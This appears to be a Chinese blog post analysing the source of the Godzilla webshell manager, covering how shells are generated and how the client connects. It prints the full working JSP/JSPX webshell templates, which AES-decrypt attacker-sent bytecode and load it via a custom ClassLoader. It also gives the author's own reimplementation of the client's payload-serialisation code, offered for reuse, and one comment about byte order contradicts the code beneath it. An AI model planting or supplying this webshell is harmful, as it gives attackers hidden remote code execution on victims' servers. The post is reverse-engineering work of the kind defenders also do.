哥斯拉源码分析

前言

随手的简单记录,不算完整教程,主要作为大致了解哥斯拉的一个流程。

生成WebShell

对应功能点:

用JAVA_AES_BASE64为例子。

断点打在shells.cryptions.JavaAes.Generate#GenerateShellLoder,首先是加载WebShell的模版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) {
byte[] data = null;
try {
// 1. 加载全局代码模板
InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "GlobalCode.bin");
String globalCode = new String(functions.readInputStream(inputStream));
inputStream.close();

// 2. 替换密钥相关占位符
globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);

// 3. 加载核心代码模板
inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "Code.bin");
String code = new String(functions.readInputStream(inputStream));
inputStream.close();

加载了两个模块 我们可以看看模版是长啥样的,根据我们的编码是base64,因此加载的模版是和base64GlobalCode.bin和base64Code.bin。

base64GlobalCode.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
String xc = "{secretKey}";
String pass = "{pass}";
String md5 = md5(pass + xc);

class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}

public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}

public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}

public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}

public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {
}
}
return value;
}

public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {
}
}
return value;
}

base64Code.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {}

后续根据后缀选取用jsp模版还是jspx模版,如下:

1
2
3
4
5
jsp:
<%!{globalCode}%><%{code}%>

jspx:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration>{globalCode}</jsp:declaration><jsp:scriptlet>{code}</jsp:scriptlet></jsp:root>

然后就是将shell模版中的globalCode和code替换为刚刚加载的java代码。

连接WebShell

可以断在core.ui.component.frame.ShellSetting#testButtonClick上。

updateTempShellEntity方法会先做一些初始化操作。

接着进入initShellOpertion方法,首先获取HTTP通信对象,然后获取payload模块和cryption模块。

payload模块是根据我们选取的payload的类型,去shells.payloads下找对应的Shell对象,比如JavaDynamicPayload对应的就是shells.payloads.java.JavaShell,从函数可以看到是个大马。

cryption模块同理,根据有效荷载和加密器两个属性确定要实例化的类,这里是shells.cryptions.JavaAes.JavaAesBase64。

然后初始化。

其中payload来自shells/payloads/java/assets/payload.classs。

这时会发送payload到服务器的马中让其加载。

发送的数据大概是下面的逻辑:

大马字节码->AES加密->Base64编码

因此服务端收到的数据:

payload数据->Base64解码->AES解密->加载字节码

如果这个过程没问题说明秘钥也没问题。相当于加密模块的初始化过程中,会想服务器发送加密大马,如果加载成功,加密模块的检查自然也没问题。因此this.cryptionModel.check()自然为true。

接下来this.payloadModel.test()会发送如下数据包

先base64解码,然后解密,解密后gz解压缩,得到数据。

上面的数据还是有一定的设计,我在写新项目时抽离了一下构造逻辑,下面供参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
@Override  
public byte[] evalFunc(String className, String funcName, HashMap parameter) {

if (className != null && className.trim().length() > 0) {
// TODO 类名随机化
// parameter.put("evalClassName", getClassName(className));

parameter.put("evalClassName", className);
}
parameter.put("methodName", funcName.getBytes());
int size = calculateHashMapSize(parameter);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(size);

try {
Iterator<String> keys = parameter.keySet().iterator();
while (keys.hasNext()) {
String key = keys.next();
byte[] value = (byte[]) parameter.get(key);

// 写入键
byteArrayOutputStream.write(key.getBytes(StandardCharsets.UTF_8));
// 写入分隔符
byteArrayOutputStream.write(0x02);
// 写入值长度(4字节大端序)
byteArrayOutputStream.write(SerializationUtil.intToBytes(value != null ? value.length : 0));
// 写入值
if (value != null) {
byteArrayOutputStream.write(value);
}
}
} catch (IOException e) {
e.printStackTrace();
return new byte[0];
}
byte[] byteArray = byteArrayOutputStream.toByteArray();

byteArray = GzipUtil.gzipE(byteArray);

try {
return byteArray;
} catch (Exception e) {
//TODO
return new byte[0];
}
}

public static int calculateHashMapSize(HashMap<String, byte[]> map) {
AtomicInteger total = new AtomicInteger();
map.forEach((key, value) -> {
// 计算key的字节长度(UTF-8编码)
int keyLength = key.getBytes(StandardCharsets.UTF_8).length;
// 计算value的字节长度
int valueLength = value != null ? value.length : 0;
// 累加各部分:key长度 + 分隔符(1) + 长度标识(4) + 值长度
total.addAndGet(keyLength + 1 + 4 + valueLength);
});
return total.get();
}

public static byte[] intToBytes(int value) {
byte[] src = new byte[4];
src[0] = (byte) (value & 0xFF);
src[1] = (byte) (value >> 8 & 0xFF);
src[2] = (byte) (value >> 16 & 0xFF);
src[3] = (byte) (value >> 24 & 0xFF);
return src;
}

最后附上一张所做的流程图。